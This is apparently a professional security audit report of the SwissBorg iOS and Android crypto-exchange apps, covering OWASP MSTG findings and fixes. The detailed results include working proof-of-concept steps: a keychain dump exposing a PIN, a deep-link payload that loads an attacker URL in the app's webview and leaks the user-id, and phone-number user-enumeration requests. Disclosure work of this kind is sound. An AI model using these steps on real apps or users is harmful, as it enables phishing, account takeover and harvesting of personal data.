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 1 Executive summary
1.1 Results summary

SwissBorg is a financial mobile exchange allowing to manage crypto assets, where users can buy,
sell and swap tokens directly in the mobile app.

SBorg SA contracted SCRT to perform a security audit of the SwissBorg applications on iOS and
Android.  In  order  to  do this,  SCRT engineers  acted like  real  hackers,  using similar  tools  and
techniques, in search of vulnerabilities or weaknesses that can be exploited in order to assess the
risks related to the applications.

In the context of this security audit, SBorg SA provided the source code, technical information and
two tests accounts.

SCRT conducted the tests following the OWASP Mobile Security Testing methodology. By the end
of the audit, several  specific points were identified, though most of them  were related to “good
practices”  and  do not  directly  impact  the  security  of  the  application.  These  points  can  be
considered over the long term in order to further improve the security level of the applications.

However, four of the discovered issues are considered to be more important by SCRT as they can
be abused by attackers.

› All Android SwissBorg users are exposed to advanced phishing attacks because of a lack of
input validation in the Android mobile app. This issue can be triggered when a user clicks on a
specially  crafted link  on their  mobile  device.  This  attack  is  difficult  to  detect  and can be
exploited during massive phishing campaigns in  order  to  steal  user’s  money or  personal
information.

› An attacker with root privileges could temporally access the victim’s account due to a storage
management issue.

› An attacker with root privileges on the victim device (iOS and Android) can compromise the
SwissBorg user local PIN code and access the victim’s account.

› The  API  can  be  abused  by  an  attacker  to  enumerate  the  user  identity  registered  on
SwissBorg.

To exploit the second and third issues, an attacker would require physical access to the device and
the ability to root or jailbreak said device. Scenarios where  those preconditions apply could be
when a smartphone, on which the SwissBorg app is installed, is lost or stolen. Even in such cases,
the exploitability depends on several factors, such as the mobile operating system version and
smartphone model used.

Overall, SCRT considers that the Swissborg mobile applications have a high security level.
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1.2 Global risk level

Android/iOS Risk level

UNPROTECTED device

PROTECTED device

*AN UNPROTECTED DEVICE is a device without any OS Pin Code protection enabled

1.3 Main objectives

The list of objectives below were partly defined by SwissBorg during the mission kick-off and partly
by SCRT engineers during the audit upon discovering and exploiting vulnerabilities. It is not an
exhaustive list but a summary of the most important elements that were targeted during this audit.

ASSET ANDROID iOS

Execute arbitrary code within the mobile application NOT
COMPROMISED

NOT
COMPROMISED

Access/modify files within the application from
another application

NOT
COMPROMISED

NOT
COMPROMISED

Execute arbitrary commands on the back-end NOT
COMPROMISED

NOT
COMPROMISED

Hijack application execution flow COMPROMISED
NOT

COMPROMISED

Bypass local
authentication and

access victim’s account 

UNPROTECTED device COMPROMISED* COMPROMISED*

PROTECTED device
NOT

COMPROMISED
NOT

COMPROMISED

Extract sensitive
information on a

compromised
smartphone

UNPROTECTED device COMPROMISED* COMPROMISED*

PROTECTED device
NOT

COMPROMISED
NOT

COMPROMISED

* compromise by accepting some prerequisites 

1.4 High level impressions

Strengths

Application level payloads are signed and encrypted

Small attack surface on the back-end API

Efficient log system for the back-end server
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Weaknesses

IPC parameters are not correctly validated

No resilience measures implemented on the application

Provisioning doesn’t use a 2FA mechanism

No certificate pinning implemented

The app does not enforce a minimum device-access-security policy

Sensitive transactions do not require step-up authentication

1.5 Identified risks

The table below presents the calculated risk of  the weaknesses and vulnerabilities discovered
during this audit. Additional details regarding risk calculation can be found in chapter 5.2.

 1.5.1 Risk table

ID Risk level Risk details
Related

flaws
Fix

1 MODERATE

An attacker can forge and send a malicious link
to  exploit  an  unprotected  functionality  exposed
through IPC. This vulnerable IPC can be abused
to setup an advanced phishing attack and leak
user information.

4.1.3 EASY

2 MODERATE
An  attacker  with  an  unrestricted  filesystem
access  can  extract  secrets  from  the  device  to
compromise the user session.

4.1.2 MEDIUM

3 MODERATE
An  attacker  with  an  unrestricted  filesystem
access  can  bypass  the  local  authentication  to
compromise the user session.

4.1.1 MEDIUM

4 MODERATE
An  attacker  with  no  particular  privileges  can
identify  valid  User  IDs  and  phone  numbers
registered on SwissBorg.

4.1.4 EASY
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 1.5.2 Risks summary

 

1.6 Proposed remediation plan

ID ACTION DIFFICULTY
RELATED

RISKS

1 Validate parameters used by IPC. EASY 1

2
All sensitive data stored locally on the device should always be 
encrypted.

MEDIUM 2

3 Improve the authentication design. MEDIUM 3

4 Improve the account recovery process. EASY 4
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• Validate parameters used by IPC.
• Improve the account recovery process.

FINAL CONSIDERATIONS

• All sensitive data stored locally on the device 
should always be encrypted.

• Improve the authentication design.

Low implementation effort High implementation effort
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 2 Technical summary
2.1 Context

 2.1.1 Scope

The SwissBorg mobile application on both platforms, iOS and Android, were considered within the
scope  of  this  assessment.  The  tests  were  performed  on  the  production  environment.  This
assessment was conducted according to a white box methodology using the application’ source
code,  some technical  information about  the  app and  two production  accounts  with  a  minimal
amount of money.

The following application versions were tested:

› Android APK version 1.16.0

› iOS IPA version 1.16.0

The devices used during this assessment were:

› Samsung Galaxy S9 – Android 10

› Samsung Galaxy S6 [rooted] – Android 8.1 Custom ROM Cyanogenmod 

› Motorola G5 [rooted] – Android 7.0

› iPhone X [jailbroken] – iOS 14.3

 2.1.2 Restrictions

No denial of service attacks were performed during this audit.

 2.1.3 Schedule

START DATE END DATE

2021-02-22 2021-02-26

EFFORT

8 days
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2.2 Results

During this security assessment, SCRT engineers reviewed the Android and iOS SwissBorg mobile
applications developed by SBorg SA. The application is used by cryptocurrency investors to buy,
sell and exchange tokens through the mobile app.

 2.2.1 Methodology

At the beginning of the audit, SCRT engineers focused on the network communications between
the mobile  applications  and  the  servers.  This  allowed to  discover  the  API  endpoints  and  the
application-level encryption mechanism used.

Then, both applications were reverse-engineered and instrumented in order to be able to decrypt
and encrypt request and response bodies on the fly. In parallel to the reverse engineering phase,
SCRT  engineers  look  for  client-side  vulnerabilities  through code  review.  A  standard  web
vulnerability testing was carried out on the back-end server (access control testing, input validation
tests, etc.).

All tests were performed following the OWASP Mobile Security Testing Guide methodology.

 2.2.2 Result

By the end of the audit, several vulnerabilities were identified. None of them have a critical impact
on  the  application.  However,  four  issues  may  still  be  abused  by  an  attacker  to  attempt  to
compromise a user account under certain conditions:

› Unprotected functionality exposed through IPC: A lack of IPC parameter input validation
can be abused by an attacker to perform an advanced phishing attack. When the attacker’s
link is  clicked,  the victim is automatically  redirected to the SwissBorg application and the
malicious page is  directly  loaded in  a webview.  The victim actually  has  no way to know
whether the current webview is legitimate or not.

› Weak secret storage: An attacker with physical access to the device and with root privileges
can find several secrets stored in plain text in the shared preferences file. This file contains
sensitive information such as private cryptographic keys and the user’ session identifier. With
this information an attacker is able to compromise the user session.

› Weak local authentication:  An attacker with physical access to the device and with root
privileges is able to extract a hash of the victim’s PIN code. It is possible to perform an offline
attack on this PIN to recover it and access the mobile application. In this way, an attacker is
able to log into the victim’s Swissborg account.

› User  enumeration: The  SwissBorg  API  can  be  abused  by  an  attacker  to  identify  valid
registered user_id and phone numbers on SwissBorg.

SCRT engineers also  highlighted aspects non compliant with good practices  as dictated by the
OWASP MSTG methodology. These points are not vulnerabilities as such but good avenues for
the improvement for the app’ security.
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All in all, the security level of the solution can be considered as high. Most of the identified issues
should not require significant development effort to be fixed.

2.3 Vulnerability summary1

ID Vulnerability MSTG-ID Impact Probability CVSS

4.1.1
Weak authentication design 
(Local Authentication)

MSTG-AUTH-8 

MSTG-STORAGE-11

★★★
☆

★☆☆
☆

 6.8

4.1.2 Weak secret storage

MSTG-STORAGE-1

MSTG-STORAGE-[13-
14]

★★★
☆

★☆☆
☆

 6.7

4.1.3
Unprotected Functionality 
Exposed Through IPC

MSTG-PLATFORM-3
★★☆
☆

★★☆
☆

 6.3

4.1.4 User Enumeration -
★☆☆
☆

★★★
☆

 5.3

2.4 Affected components

This graphic  displays the number of  affected components (hosts,  services,  accounts or  URLs)
affected by each vulnerability.

2.5 Mindmaps

These mindmaps list the components analysed for each platform during the audit.

1 Explanations regarding impact, exploitation and CVSS scores can be found in chapter  5.1.
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2.6 MSTG Security verification

The following table lists important points related to components that should be implemented in a
secure manner in the SwissBorg app. The first column gives the ID related to the OWASP testing
guide and the second one gives a brief description of the problem identified by SCRT. The colours
give the impact level of the identified problem (Yellow for good practice/low and light Orange for
medium issues). Additional details for each issue are found in the following section.

MSTG-ID Description

iOS Android

Resilience

MSTG-RESILIENCE-[1-9] No hardening features implemented in SwissBorg app.

MSTG-RESILIENCE-10 Weak device binding.

MSTG-RESILIENCE- [11-12] No native obfuscation / No code encryption. 

Network APIs

MSTG-NETWORK-4 No certificate pinning implemented on SwissBorg app.

Authentication / Provisioning

MSTG-AUTH-4 The SwissBorg app does not implement a logout feature.

MSTG-AUTH-7 Access tokens expire after 7 days.

MSTG-AUTH-8 The SwissBorg app implements a weak local authentication. 

MSTG-AUTH-9 The SwissBorg app does not implement a 2FA  during provisioning.

MSTG-AUTH-10 Sensitive transactions do not require step-up authentication.

Platform API

MSTG-PLATFORM-1
-

The SwissBorg app does not request the 
minimum set of required permissions.

MSTG-PLATFORM-2

-
Users might be able to navigate away 
from a trusted environment through 
WebViews.

MSTG-PLATFORM-3
-

The URL scheme used by SwissBorg app 
is not fully protected.

MSTG-PLATFORM-5 - JavaScript is enabled in WebViews.

MSTG-PLATFORM-6

-
WebViews are not configured to allow 
only the minimum set of protocol 
handlers.

Data Storage

MSTG-STORAGE-1 - Cryptographic keys, tokens and Pin 
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MSTG-ID Description

hashes are stored in shared preferences.

MSTG-STORAGE-9 Auto-generated screenshots 
authorised.

The app does not remove sensitive data 
from views when moved to the 
background.

MSTG-STORAGE-11 The app does not enforce a minimum device-access-security policy.

MSTG-STORAGE-13

-
Sensitive data such as cryptographic 
keys, tokens and PIN hashes are stored 
locally.

MSTG-STORAGE-[13-14] Sensitive data stored are not encrypted using hardware backed keys.

MSTG-STORAGE-15 The app’s local storage should be wiped after an excessive number of 
failed authentication attempts.

 2.6.1 MSTG-RESILIENCE-[1-9]

 2.6.1.1 Description

In the context of anti-reversing, the goal of root detection is to make running the app on a rooted
device a bit more difficult, which in turn blocks some of the tools and techniques reverse engineers
like to use. Currently, the SwissBorg app doesn't implement anti-reversing mechanism defences.

 2.6.1.2 Exploitation

The auditors did not observe any protections against reverse engineering in the application.

 2.6.1.3 Possible solution 

Implement at least a root detection mechanism at java and native level.

 2.6.2 MSTG-RESILIENCE-10

 2.6.2.1 Description

The goal of device binding is to impede an attacker who tries to both copy an app and its state
from device A to device B and continue executing the app on device B.

 2.6.2.2 Exploitation

The auditors were able to extract all sensitive secrets to copy an app and its state from device A to
device B and continue executing the app on device B.
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 2.6.2.3 Possible solution

For instance,  encrypt the data stored in the device with  a hardware-backed key  bound to the
device.

 2.6.3 MSTG-RESILIENCE- [11-12]

 2.6.3.1 Description

Important code and data segments inside the executables should be encrypted or packed. Trivial
static analysis does not reveal important code or data. 

 2.6.3.2 Exploitation 

On  Android  all  Java  Class  are  obfuscated  using  tools  like  Dexguard.  On  iOS,  none  of  the
executable files and libraries are obfuscated. 

 2.6.3.3 Possible solution 

More advanced code obfuscation techniques could be used to protect sensitive computations.

 2.6.4 MSTG-NETWORK-4

 2.6.4.1 Description

Certificate  pinning  is  the  process  of  associating  the  back-end  server  with  a  particular  X.509
certificate or public key instead of accepting any certificate signed by a trusted certificate authority. 

 2.6.4.2 Exploitation 

Currently, the SwissBorg app only verifies that the certificate is signed by a trusted CA.

 2.6.4.3 Possible solution 

The certificate can be pinned and hard-coded in the app.

 2.6.5 MSTG-AUTH-4

 2.6.5.1 Description

Many mobile apps don't automatically log users out because it is inconvenient for customers, or
because of decisions made when implementing stateless authentication. The application should
still have a logout function, and it should be implemented according to best practices, destroying all
locally stored tokens or all sessions.
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 2.6.5.2 Exploitation

Currently, the SwissBorg app doesn’t implement a logout functionality on the client side or on the
server side. 

 2.6.5.3 Possible solution 

The application should have a logout  function,  allowing to destroy all  locally  stored tokens or
session identifiers. If session information is stored on the server, it should also be destroyed by
sending a logout request to that server.

 2.6.6 MSTG-AUTH-7

 2.6.6.1 Description

Minimizing the lifetime of  session identifiers and tokens decreases the likelihood of  successful
account hijacking. 

 2.6.6.2 Exploitation

Currently, the SwissBorg’s access tokens expire after 7 days. 

 2.6.6.3 Possible solution 

A recommended timeout may be between 10 minutes and two hours, depending on the app's
sensitivity.

 2.6.7 MSTG-AUTH-9

 2.6.7.1 Description

Two-factor authentication (2FA) is standard for apps that allow users to access sensitive functions
and data like e-banking/crypto apps.

 2.6.7.2 Exploitation

Currently, the SwissBorg’s app does not implement a second factor for authentication. 

 2.6.7.3 Possible solution 

Improve the authentication design of the application.
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 2.6.8 MSTG-AUTH-10

 2.6.8.1 Description

The secondary authentication can be performed at login or later in the user session. For example,
after logging in to a banking app with an username and PIN, the user is authorized to perform non-
sensitive tasks. Once the user attempts to execute a bank transfer, the second factor ("step-up
authentication") must be presented.

 2.6.8.2 Exploitation

The SwissBorg app uses asymmetric cryptography to implement transaction signing. The app will
generate a public/private key pair when the user signs up, then registers the public key on the
backend. However, the backend server doesn’t send the mobile app a push notification or a sms
OTP containing the transaction data to authorize the transaction.

 2.6.8.3 Possible solution 

Implement step-up authentication for sensitive transactions.

 2.6.9 MSTG-PLATFORM-1

 2.6.9.1 Description

Because each Android app operates in a process sandbox, apps must explicitly request access to
resources and data that  are outside their  sandbox.  They request  this access by declaring the
permissions they need to use system data and features.

 2.6.9.2 Exploitation

The following permissions requested by SwissBorg are tagged with a dangerous protection level:

› CAMERA;

› READ_EXTERNAL_STORAGE;

› WRITE_EXTERNAL_STORAGE;

› RECORD_AUDIO;

› ACCESS_FINE_LOCATION

 2.6.9.3 Possible solution 

Make sure  that  no  permissions  are  requested  which  are  not  related  to  the  goal  of  the  app,
especially those with DANGEROUS and SIGNATURE permissions.
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 2.6.10 MSTG-PLATFORM-2

 2.6.10.1 Description

WebViews are Android's embedded components which allow apps to open web pages within  an
application. It is important to make sure that only trusted content can be loaded in them.

 2.6.10.2 Exploitation

Users  might  be  able  to  navigate  away  from  a  trusted  environment  by  using  external  links
embedded in webviews (YouTube videos, Twitter, discord, Linkedin…).

 2.6.10.3 Possible solution 

The default and safest behaviour on Android is to let the default web browser open any links that
the user might click inside the WebView.

 2.6.11 MSTG-PLATFORM-3

 2.6.11.1 Description

Android allows you to create two different types of links for your apps: deep links and Android App
Links, deep links are URLs that take users directly to specific content in your app.

 2.6.11.2 Exploitation

The app uses a deeplink but does not correctly validate a parameter which can be abused by an
attacker to perform advanced phishing attacks. The attack is described at chapter  4.1.3 of this
document.

 2.6.11.3 Possible solution 

All deep links must be enumerated and the actions they perform must be tested, especially all input
data which should be deemed to be untrustworthy and thus should always be validated.

 2.6.12 MSTG-PLATFORM-5

 2.6.12.1 Description

Various settings can be applied to the Android WebViews, if the WebView configuration is too lax
and allows usage of JavaScript, JavaScript can be used to attack the app and gain access to its
data.
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 2.6.12.2 Exploitation

JavaScript is enabled in all WebViews.

 2.6.12.3 Possible solution 

JavaScript  should  be  enabled  only  if  necessary  to  reduce  the  app’s  attack  surface  and  the
WebView's cache must be cleared with clearCache when the app closes.

 2.6.13 MSTG-PLATFORM-6

 2.6.13.1 Description

Several default schemas are available for Android URLs and can be triggered within a WebView to
load remote content from an endpoint,  but they can also load local content from the app data
directory or external storage.

 2.6.13.2 Exploitation

The WebView configuration  is  not  properly  hardened,  protocol  handlers are not  used and not
deactivated.

 2.6.13.3 Possible solution 

If applicable, the following configuration for WebViews should be applied:

› Deactivate protocol handlers;

› setAllowFileAccess(false);

› setAllowFileAccessFromFileURLs(false);

› setAllowUniversalAccessFromFileURLs(false);

› setAllowContentAccess(false))

 2.6.14 MSTG-STORAGE-9

 2.6.14.1 Description

Manufacturers  want  to  provide  device  users  with  an  aesthetically  pleasing  experience  at
application startups and exit, so they introduced the screenshot-saving feature for use when the
application is backgrounded. This feature may pose a security risk. Sensitive data may be exposed
if the user deliberately screenshots the application while sensitive data is displayed. 

For example, a malicious application that is running on the device and able to continuously capture
the screen may also expose data. Screenshots are written to local storage, from which they may
be recovered by a rogue application (if  the device is rooted)  or  someone who has stolen the
device.
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 2.6.14.2 Exploitation

The auto-generated screenshots are authorized in the SwissBorg app.

 2.6.14.3 Possible solution

The app should remove sensitive data from views when moved to the background.

 2.6.15 MSTG-STORAGE-15

 2.6.15.1 Description

Mobile banking apps generally implement a protection mechanism against excessive numbers of
failed local authentication. The app’s local storage should be wiped after an excessive number of
failed authentication attempts.

 2.6.15.2 Exploitation

The SwissBorg does not wipe local storage after an excessive number of failed authentication
attempts.

 2.6.15.3 Possible solution

The SwissBorg’s local storage should be wiped after 10 failed authentication attempts.
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 3 API Hardening
3.1 Testing setup

The SwissBorg mobile app implements a payload application level encryption (over HTTPS). A
secure channel  is  created between the back-end and the mobile  app and most  of  the  HTTP
request bodies and responses are encrypted.

With reverse engineering and dynamic instrumentation, SCRT was able to identify the functions
used to:

› Encrypt HTTP requests’ bodies.

› Sign HTTP requests’ bodies.

› Decrypt HTTP requests’ bodies.

After having instrumented these functions, it was possible to set up an environment which allowed
SCRT to encrypt, sign and decrypt requests while being intercepted in order to test the back-end
API.
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 4 Detailed results
4.1 Vulnerabilities and exploitation

 4.1.1 Weak authentication design (Local Authentication)
MSTG-AUTH-8 

MSTG-STORAGE-11

SCRT CVSS

Impact ★★★☆ Base 6.8

Probability ★☆☆☆ AV:P/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Context

Prerequisites Compromised assets

Unrestricted filesystem access (root)  User’s secret for authentication

 4.1.1.1 Affected systems

SwissBorg mobile app

 4.1.1.2 Description

After the provisioning phase, the mobile application authenticates the user against credentials or
tokens stored locally on the device. In other words, the user “unlocks” the app or some inner layer
of functionality by providing a valid PIN, password or biometric characteristics such as face or
fingerprint, which is verified by referencing local data. Generally, this is done so that users can
more conveniently resume an existing session with a remote service.

Modern banking mobile applications should not rely solely on a local authentication system. One
particular  reason  is  because  once  the  device  is  unlocked,  all  keystore/keychain’s  keys  are
accessible and with root privileges, an attacker is able to extract the PIN code used for this local
authentication.

In addition, currently the mobile application doesn’t  enforce a minimum  device-access-security
policy, such as requiring the user to set a device passcode before the provisioning phase.

 4.1.1.3 Exploitation

During the provisioning, a user must choose a PIN code (4 digits) to protect his or her session.
Once the PIN code is chosen, the user can also choose to enable the authentication with the
biofingerprint (Face ID/Fingerprint) or to keep the current authentication system only based with
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the PIN code. However, even if the biofingerprint authentication is activated it is still possible to
fallback on the PIN code authentication, it means that if an attacker is able to compromise the PIN
code of the victim, they will compromise the user session.

Related to the OWASP testing  guide,  attackers can easily  bypass this  local  authentication.  A
design flaw allows offline attacks on the PIN code for both platforms.

For example on iOS, in case an attacker finds or steals a user’s mobile phone with a system on
Chip  prior  to  A12,  they would  be  able  to  compromise  the  phone  and  access  the  SwissBorg
application’s keychain to retrieve the user’s PIN code: 

com.swissborg.ios on (iPhone: 14.3) [usb] # ios keychain dump
Note: You may be asked to authenticate using the devices passcode or TouchID
Save the output by adding `--json keychain.json` to this command
Dumping the iOS keychain...
Created        Accessible       ACL   Type      Account   Service            Data
-------------  -----------      ----  --------  --------  ----------         ----
2021-02-[...]  AfterFirstUnlock None  Password  Keych[…]  com.swissborg.ios  1337

Currently, the SwissBorg app does not enforce a minimum device-access-security policy, such as
requiring the user to set a device passcode before the provisioning phase. 

For Android, an encrypted  hash is stored in the SwissBorg’s  SharedPreferences file and the
verification is only done on the client side:

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="SESSION_KEY_PK">c0a[...]d68</string>
    <string name="session_token">eyJ[...]PJv</string>
    <string name="device_id">0303********</string>
    <string name="user_id">206***************************4d</string>
    <string name="SESSION_KEY_SK">0ab[...]ce7</string>
    <string name="reference_currency">CHF</string>
    <int name="unlock_number_attempts" value="0" />
    <set name="TOOLTIP_LIST_KEY">
        <string>EXCHANGE_ALLOCATION</string>
    </set>
    <int name="onboarding_state" value="1" />
    <string name="hashed_unlock_pin">[-23, [redacted] -82, 0]</string>
</map>

A bruteforce protection is implemented, but again it is implemented on the client side and based
only on an attempt counter which is written in the local storage. 

The method takes the PIN code as an argument and returns True if the PIN is correct and False if it
is not. This protection can be easily bypassed without knowing the PIN code. With a simple frida
hook it possible to bypass or bruteforce the PIN code value.
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PIN Bruteforcer with Frida instrumentation 
 

Then an attacker could use the victim session and empty their wallet, for example.

 4.1.1.4 Tools used

› objection

› ssh / adb

› keychain dumper

› Dexcalibur

 4.1.1.5 Possible solutions

During local authentication, an app authenticates the user against credentials or tokens stored
locally on the device. The user “unlocks” the app or some inner layer of functionality by providing a
valid PIN or biometric characteristics such as a face or fingerprint, which is verified by referencing
local data.

Secure Local Authentication architectures:

› Must retrieve the local secret by unlocking the keychain/keystore.

› Must assert that a minimum device-access-security policy is enforced, such as requiring the
user to set a device passcode.

The SwissBorg app does not  enforce the second  requirement.  In  fact,  in  the  worst  case,  an
attacker with a root access on an unprotected victim device (without any pin code set up) can
compromise the victim’s account.

In addition, modern banking mobile applications should not rely solely on a local authentication
system. In fact, every mobile local authentication architecture may be defeated with these pre-
conditions:
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› A rooted / jailbroken device

› The pin code of the device

These conditions are not under the control of the application itself, they are related to the device
integrity.

The authentication verification system can be improved with an extra secret known by the user and
verified  by  the  back-end.  The  back-end  can  guarantee  the  protection  of  the  secret  against
bruteforce attacks, and the secret will act as a second factor. The secret can be asked during the
authentication or at least for critical operations such as money transaction. To defeat this setup, an
attacker needs:

› A rooted / jailbroken devices.

› The device’s passcode.

› The external secret (which is not present on the device).

 4.1.1.6 References

› https://github.com/OWASP/owasp-mstg/blob/master/Document/0x06f-Testing-Local-  
Authentication.md

› https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05f-Testing-Local-  
Authentication.md
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 4.1.2 Weak secret storage
MSTG-STORAGE-1

MSTG-STORAGE-[13-14]

SCRT CVSS

Impact ★★★☆ Base 6.7

Probability ★☆☆☆ AV:P/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

Context

Prerequisites Compromised assets

Unrestricted filesystem access (root) User’s secret for authentication 

 4.1.2.1 Affected systems

SwissBorg Android app

 4.1.2.2 Description

Storing data is essential to many mobile apps. User settings, user-provided data or secrets are one
of  the  most  important  security  features  of  any  mobile  application.  For  example,  the
SharedPreferences API  is  commonly  used to  permanently  save small  collections  of  key-value
pairs. Data stored in a SharedPreferences object is written to a plain-text XML file.

Once the activity has been called, the XML file will be created with the provided data. Currently, the
SwissBorg app stores several cleartext secrets in this file. 

 4.1.2.3 Exploitation

The  SwissBorg  app  stores  in  cleartext  several  secrets  like  the  SESSION_KEY_SK or  the
SESSION_token in the  SharedPreferences file. The file contains the following non-encrypted
user account information:

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="SESSION_KEY_PK">c0a[...]d68</string>
    <string name="session_token">eyJ[...]PJv</string>
    <string name="device_id">0303********</string>
    <string name="user_id">206***************************4d</string>
    <string name="SESSION_KEY_SK">0ab[...]ce7</string>
    <string name="reference_currency">CHF</string>
    <int name="unlock_number_attempts" value="0" />
    <set name="TOOLTIP_LIST_KEY">
        <string>EXCHANGE_ALLOCATION</string>
    </set>
    <int name="onboarding_state" value="1" />
    <string name="hashed_unlock_pin">[-23, 7, [redacted]-82, 0]</string>
</map>
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The compromise of this session leaves a window of 7 days for an attacker due to the point related
to the session expiration issue mentioned in the MSTG-AUTH-7.

 4.1.2.4 Tools used

› adb

 4.1.2.5 Possible solutions

Related to the OWASP testing guide, all sensitive data stored locally on the device should always
be at least encrypted, and any keys used for encryption methods should be securely stored within
the Android Keystore.

 4.1.2.6 References

› https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05d-Testing-Data-  
Storage.md
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 4.1.3 Unprotected Functionality Exposed Through IPC MSTG-PLATFORM-3

SCRT CVSS

Impact ★★☆☆ Base 6.3

Probability ★★☆☆ AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N

Context

Prerequisites Compromised assets

The victim clicks on the attacker link 
Leak of the user-id 

Allow advanced phishing attacks 

 4.1.3.1 Affected systems

SwissBorg Android app

 4.1.3.2 Description

Mobile applications can expose functionalities to other applications through custom URL schemes,
called Deep Links. Deep Links can be directly called:

› by other applications via IPC mechanisms.

› by the user (though the user interface).

None of the input from these sources can be trusted, the data must be validated before being
processed. If the validation process is not correctly managed, any input can be sent to the app,
which may allow an attacker or malicious app to exploit app functionality.

 4.1.3.3 Exploitation

The com.swissborg.android.ui.deeplink.DeepLinkActivity activity handles a BROWSABLE custom
URL scheme named: 

› swissborg:// 

With  the  reverse  engineering  of  the  DeepLinkActivity,  SCRT  discovered  that  the
MarketplaceDetails Deep Link handler does not correctly sanitize the URL parameter. 

A malicious application installed on the device or malicious link clicked in the mobile browser can
open a webview in the context of swissborg, with an arbitrary URL controlled by the attacker. This
issue may lead to:
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› Advanced  phishing  attacks  against  SwissBorg  users  chained  with  MSTG-PLATFORM-2,
MSTG-PLATFORM-5 and MSTG-PLATFORM-6.

› The leak of the victim’s user-id and theme used.

› An account  compromise on all devices < Android 4.0.3 (chained with  MSTG-PLATFORM-6
and MSTG-STORAGE-1).

Exploitation (Proof Of Concept):

Using Android Debug Brigde:

adb shell am start -a "android.intent.action.VIEW" -d 
"swissborg://v1/marketplace/eth/learn/https://scrt.ch"

Or using a malicious webpage or link:  

› https://swissborg.com/wa/v1/marketplace/eth/learn/https://scrt.ch  

<!DOCTYPE html>
<html>
<a href="swissborg://v1/marketplace/eth/learn/https://scrt.ch">POC via deep link</a>
<a href="https://swissborg.com/wa/v1/marketplace/eth/learn/https://scrt.ch">POC2 via 
Applink translation</a>
</html>
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Arbitrary redirection in 
Swissborg Webview 

 

In addition, the attacker is also able to leak the two parameters added by the application at the end
of the URL: 

› the theme used by the victim

› the user-id of the victim

- - [01/Mar/2021 13:05:35] "GET /?theme=light&user-id=2075..[REDACTED]..ff HTTP/1.1" 200
-
- - [01/Mar/2021 13:05:35] code 404, message File not found

 4.1.3.4 Tools used

› adb

› jadx-gui

 4.1.3.5 Possible solutions

All  app functionalities that  process data coming from IPC mechanisms should implement input
validation:
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› A validation function should be created to validate the allowed webview URLs.

 4.1.3.6 References

› https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05h-Testing-Platform-  
Interaction.md
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 4.1.4 User Enumeration

SCRT CVSS

Impact ★☆☆☆ Base 5.3

Probability ★★★☆ AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Context

Prerequisites Compromised assets

– Existent SwissBorg User ID

 4.1.4.1 Affected systems

https://app.swissborg.io/v2/user/find?phone=*

 4.1.4.2 Description

Sometimes,  web  applications  reveal  when  an  username/user_id  exists  on  a  system  or  an
application, either as a consequence of a misconfiguration or as a design decision. For instance,
the message returned by the application is different when using a valid or invalid username, thus
disclosing the presence of an account within the system.

The information obtained can then be used by an attacker to gain a list of users, which could then
possibly be targeted by a phishing campaign, for example.

In most cases, knowing that an account exists within an application is not a real risk, but in certain
examples, such as the SwissBorg application, the fact of revealing the presence of an account or
username can be important. 

 4.1.4.3 Exploitation

The SwissBorg API can be used by an attacker to identify valid user_id registered in the platform.
The Server API generates two different responses within the find?phone= endpoint depending on
whether the phone number exists or not.

GET /v2/user/find?phone=%2B41*******02 HTTP/1.1
Content-Type: application/json
Accept-Language: en
sb-version: android/1.16.0
Host: app.swissborg.io
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.14.9

Server response:
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HTTP/1.1 200 OK
Content-Type: application/json
Date: Tue, 02 Mar 2021 07:40:21 GMT
Content-Length: 44
Connection: close

{"data":{"user_id":20**********************df,"action":"recover"}}

or using an unknown number:

GET /v2/user/find?phone=%2B41*******00 HTTP/1.1
Content-Type: application/json
Accept-Language: en
sb-version: android/1.16.0
Host: app.swissborg.io
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.14.9

Server response:

HTTP/1.1 200 OK
Content-Type: application/json
Date: Tue, 02 Mar 2021 07:40:21 GMT
Content-Length: 44
Connection: close

{"data":{"user_id":null,"action":"onboard"}}

 4.1.4.4 Tools used

› Burp Suite

 4.1.4.5 Possible solutions

This process could be improved by adding a 2FA mechanism. Therefore the server API would
return the user_id information only after receiving the code sent via SMS to the user.
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 5 Complements
5.1 Legend

 5.1.1 SCRT Score

For each vulnerability discovered and detailed in this report, SCRT provides a threat estimation.
This estimation is done according to two indicators: Impact and Probability.

Impact Impact of the vulnerability in case of successful exploitation (“How bad?”)

☆☆☆☆ ★☆☆☆ ★★☆☆ ★★★☆ ★★★★
N/A Weak Medium High Critical

Probability Probability that the vulnerability will be discovered and exploited by an attacker?

☆☆☆☆ ★☆☆☆ ★★☆☆ ★★★☆ ★★★★
N/A Low Medium High Very high

It is however important to keep in mind that this evaluation is only based on information available to
SCRT engineers at the time of the audit. The auditors do not necessarily know all the details about
vulnerable  machines  or  systems.  Consequently  these  ratings  have  to  be  reconsidered  by
depending on the importance and exact characteristics of affected systems.

 5.1.2 CVSS Score

On top of the SCRT score, an other metric is calculated for each vulnerability using the CVSS
system.

CVSS is a vulnerability scoring system designed to provide an open and standardized method for
rating IT vulnerabilities. CVSS helps organizations prioritize and coordinate a joint response to
security vulnerabilities by communicating the base, temporal and environmental properties of a
vulnerability.  More  information  about  the  CVSS  scoring  system  can  be  found  here  :
https://www.first.org/cvss/user-guide

 5.1.3 Context

The context of each vulnerability is presented by describing its prerequisites and compromised
assets. The prerequisites detail what is required by an attacker to be able to exploit the flaw, such
as the exploitation of a previous vulnerability or the use of social engineering. The compromised
assets list the assets that are directly impacted by the exploitation of the vulnerability.
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 5.1.4 Additional attacks

The following attacks are not usually performed during penetration tests, as their success is greatly
dependant on a variety of external factors, which cannot be controlled during the tests. However,
certain discovered vulnerabilities may depend on the successful exploitation of such an attack,
which is why they are described here.

 5.1.4.1 Man-In-The-Middle

A Man-In-The-Middle attack refers to a situation where the attacker is able to eavesdrop and alter
the data transmitted between the client and the server, without any of them being able to notice the
modification. An adversary can undertake this attack only if he has access to specific locations on
the network. Effective attacks can be launched from the local network (for example ARP Spoofing
or  DNS  Poisoning).  Additionally,  any  node  of  the  network  through  which  the  client-server
